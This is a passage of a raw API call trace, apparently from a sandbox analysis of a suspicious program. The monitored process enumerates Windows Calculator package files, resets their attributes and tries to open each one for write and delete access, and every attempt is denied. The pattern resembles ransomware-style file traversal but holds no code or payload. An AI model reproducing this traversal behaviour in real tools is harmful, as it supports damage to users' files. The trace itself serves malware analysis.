	[0082.635] wcscpy (in: _Dest=0x4773710, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe"
	[0082.635] wcscat (in: _Dest=0x4773710, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\"
	[0082.635] wcscat (in: _Dest=0x4773710, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.355] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.362] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.362] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.362] GetLastError () returned 0x5
	[0090.362] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773710) returned 1
	[0090.362] FindNextFileW (in: hFindFile=0x46a82d8, lpFindFileData=0x502a060 | out: lpFindFileData=0x502a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c079ab6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c079ab6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c079ab6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xceb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.362] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.362] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e8f0
	[0090.362] wcscpy (in: _Dest=0x477e8f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe"
	[0090.362] wcscat (in: _Dest=0x477e8f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\"
	[0090.362] wcscat (in: _Dest=0x477e8f0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.362] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) 

Thread:
	id = 1029
	os_tid = 0x1c84

	[0082.635] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719050
	[0082.635] wcscpy (in: _Dest=0x4719050, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe"
	[0082.636] wcscat (in: _Dest=0x4719050, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.636] wcscat (in: _Dest=0x4719050, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a2c8
	[0082.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bcf41f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8098
	[0082.638] wcscmp (_String1=".", _String2=".") returned 0
	[0082.638] FindNextFileW (in: hFindFile=0x46a8098, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bcf41f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.638] wcscmp (_String1="..", _String2=".") returned 1
	[0082.638] wcscmp (_String1="..", _String2="..") returned 0
	[0082.638] FindNextFileW (in: hFindFile=0x46a8098, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bdd9013, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4bf6ea17, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4bf6ea17, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.638] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.638] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eb168
	[0082.638] wcscpy (in: _Dest=0x47eb168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe"
	[0082.638] wcscat (in: _Dest=0x47eb168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.638] wcscat (in: _Dest=0x47eb168, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.352] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.353] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.353] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.353] GetLastError () returned 0x5
	[0090.353] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb168) returned 1
	[0090.353] FindNextFileW (in: hFindFile=0x46a8098, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bd1a450, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb17a168b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4bd1a450, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.353] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.353] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33f58
	[0090.353] wcscpy (in: _Dest=0x4e33f58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe"
	[0090.353] wcscat (in: _Dest=0x4e33f58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.353] wcscat (in: _Dest=0x4e33f58, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4fce408
	[0090.353] wcscpy (in: _Dest=0x4fce408, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.353] wcscat (in: _Dest=0x4fce408, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.354] wcscat (in: _Dest=0x4fce408, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ce18
	[0090.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bd1a450, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb17a168b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4bd1a450, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.354] wcscmp (_String1=".", _String2=".") returned 0
	[0090.354] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bd1a450, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb17a168b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4bd1a450, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.354] wcscmp (_String1="..", _String2=".") returned 1
	[0090.354] wcscmp (_String1="..", _String2="..") returned 0
	[0090.354] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bd1a450, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4bd1a450, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4bd1a450, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4585, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0090.354] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0090.354] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0090.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2e347a8
	[0090.354] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.354] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.354] wcscat (in: _Dest=0x2e347a8, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.354] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.359] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.359] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.359] GetLastError () returned 0x5
	[0090.359] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.359] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.360] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bd1a450, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4bd1a450, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4bd1a450, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4585, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.360] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502ce18) returned 1
	[0090.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fce408) returned 1
	[0090.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33f58) returned 1
	[0090.360] FindNextFileW (in: hFindFile=0x46a8098, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf6ea17, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4bfe1148, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4bfe1148, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.360] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.360] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491ed98
	[0090.360] wcscpy (in: _Dest=0x491ed98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe"
	[0090.360] wcscat (in: _Dest=0x491ed98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.360] wcscat (in: _Dest=0x491ed98, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.360] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.360] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.360] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.360] GetLastError () returned 0x5
	[0090.360] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491ed98) returned 1
	[0090.361] FindNextFileW (in: hFindFile=0x46a8098, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee763a10, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.361] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.361] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4716d10
	[0090.361] wcscpy (in: _Dest=0x4716d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe"
	[0090.361] wcscat (in: _Dest=0x4716d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.361] wcscat (in: _Dest=0x4716d10, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2e347a8
	[0090.361] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.361] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.361] wcscat (in: _Dest=0x2e347a8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0090.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee763a10, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.364] wcscmp (_String1=".", _String2=".") returned 0
